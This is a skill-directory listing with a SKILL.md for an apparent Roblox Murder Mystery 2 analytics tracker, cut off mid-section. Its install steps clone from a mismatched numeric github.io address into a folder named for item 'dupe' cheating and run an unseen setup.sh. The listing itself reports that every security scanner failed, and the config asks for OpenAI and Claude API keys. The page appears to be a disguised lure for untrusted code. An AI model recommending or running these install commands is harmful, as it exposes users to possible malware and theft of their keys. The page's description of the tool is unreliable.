
Mm2 Analytics Roblox Tracker
Track Murder Mystery 2 inventory and performance metrics, visualize stats, and export data to improve Roblox MM2 strategy.
Install
npx skills add https://github.com/aradotso/data-skills --skill mm2-analytics-roblox-trackerWhat is this skill?
- Inventory management for knife skins, gamepasses, and collection completeness
- Analytics engine for win/loss ratios, performance metrics, and strategy patterns
- AI-powered insights for pattern recognition and inventory value modeling
- Multi-platform dashboard: desktop, tablet, mobile, and web browser
- Automated setup via setup.sh --install plus manual git-clone install path
Adoption & trust: 1 installs on skills.sh; 1 GitHub stars; 0/3 security scanners passed (skills.sh audits); trending (+100% hot-view momentum).
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Journey fit
Primary fit
The toolkit optimizes ongoing gameplay through metrics and exports—core Grow analytics work after the game client exists. Inventory tracking, win/loss visualization, and JSON/CSV export map directly to analytics subphase, not initial game coding.
Common Questions / FAQ
Is Mm2 Analytics Roblox Tracker safe to install?
skills.sh reports 0 of 3 security scanners passed. Review the Security Audits panel on this page before installing in production.
SKILL.md
READMESKILL.md - Mm2 Analytics Roblox Tracker
# MM2 Analytics Roblox Tracker > Skill by [ara.so](https://ara.so) — Data Skills collection. This project is an analytics and inventory management toolkit for Roblox's Murder Mystery 2 game. It provides data visualization, inventory tracking, strategy analysis, and performance metrics to help players optimize their gameplay through data-driven insights. ## What It Does The MM2 Analytics Dashboard offers: - **Inventory Management**: Track knife skins, gamepasses, and collection completeness - **Analytics Engine**: Visualize win/loss ratios, performance metrics, and strategy patterns - **AI-Powered Insights**: Pattern recognition and predictive modeling for inventory values - **Multi-platform Support**: Desktop, tablet, mobile, and web browser compatibility - **Export Capabilities**: Export statistics in JSON/CSV formats ## Installation ### Automated Setup ```bash chmod +x setup.sh ./setup.sh --install ``` ### Manual Installation ```bash # Clone the repository git clone https://8015238355.github.io cd murder-mystery-dupe-roblox # Install dependencies npm install python3 -m pip install -r requirements.txt ``` ### System Requirements - **OS**: Windows 10/11, macOS Ventura+, Ubuntu 22.04+ - **Python**: 3.8+ - **Node.js**: 16+ - **Browser**: Chrome 120+, Firefox 121+ ## Configuration ### Environment Variables Create a `.env` file in the project root: ```bash # API Keys (optional for AI features) API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY} # Data Configuration DATA_DIRECTORY=./data/collections ANALYTICS_INTERVAL=300 ENABLE_LIVE_TRACKING=true # Export Settings EXPORT_FORMAT=json LOG_LEVEL=INFO ``` ### Profile Configuration Create or edit `config/profile.yaml`: ```yaml profile: username: "MysterySolver2026" preferred_role: "sheriff" inventory_filter: - category: "knife_skins" rarity: ["legendary", "ancient"] - category: "gamepasses" active: true analytics_preferences: tracking_mode: "comprehensive" data_refresh_rate: 30 export_format: "csv, json" strategy_templates: - name: "aggressive_sheriff" priority: "high_visibility_areas" - name: "passive_innocent" priority: "distraction_avoidance" ``` ## Key Commands (CLI) ### Analytics Mode Run comprehensive analytics on your gameplay data: ```bash python3 main.py --mode analytics \ --profile mystery_solver_01 \ --export statistics_2026.json \ --format json \ --verbose ``` ### Inventory Scan Scan and catalog your MM2 inventory: ```bash python3 main.py --mode inventory \ --scan-knife-skins \ --scan-gamepasses \ --output inventory_report.csv ``` ### Strategy Analysis Analyze gameplay patterns and generate strategy recommendations: ```bash python3 main.py --mode strategy \ --analyze-patterns \ --role sheriff \ --export strategy_insights.json ``` ### Live Tracking Enable real-time gameplay tracking: ```bash python3 main.py --mode live \ --track-performance \ --interval 30 \ --log-level DEBUG ``` ## Python API Usage ### Basic Analytics ```python from mm2_analytics import AnalyticsEngine, ProfileLoader # Load user profile profile = ProfileLoader.load("mystery_solver_01") # Initialize analytics engine engine = AnalyticsEngine(profile) # Run comprehensive analysis results = engine.analyze( mode="comprehensive", include_inventory=True, include_strategy=True ) # Export results engine.export(results, format="json", output="stats.json") ``` ### Inventory M